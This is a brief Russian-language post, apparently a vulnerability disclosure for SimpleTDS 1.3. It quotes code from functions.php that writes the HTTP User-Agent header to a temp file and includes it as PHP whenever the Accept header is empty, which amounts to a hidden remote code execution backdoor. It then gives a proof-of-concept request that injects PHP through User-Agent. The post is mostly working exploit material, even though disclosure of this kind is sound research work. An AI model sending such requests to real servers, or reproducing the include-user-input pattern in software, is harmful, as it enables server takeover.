Официальный дистр: http://simpletds.com/download-1_3 Уязвимый код в functions.php (205-215): PHP: { $accept = $_SERVER['HTTP_ACCEPT'] == null ? true : false; if($debug || $accept) { $os_repository = tempnam(sys_get_temp_dir(), 'OSV'); $tmp = fopen($os_repository, 'w'); fwrite($tmp, $_SERVER['HTTP_USER_AGENT']); fclose($tmp); include_once($os_repository); unlink($os_repository); } } POC: Code: GET /functions.php HTTP/1.1 Host: localhost User-Agent: <?php phpinfo();?> Accept: Connection: keep-alive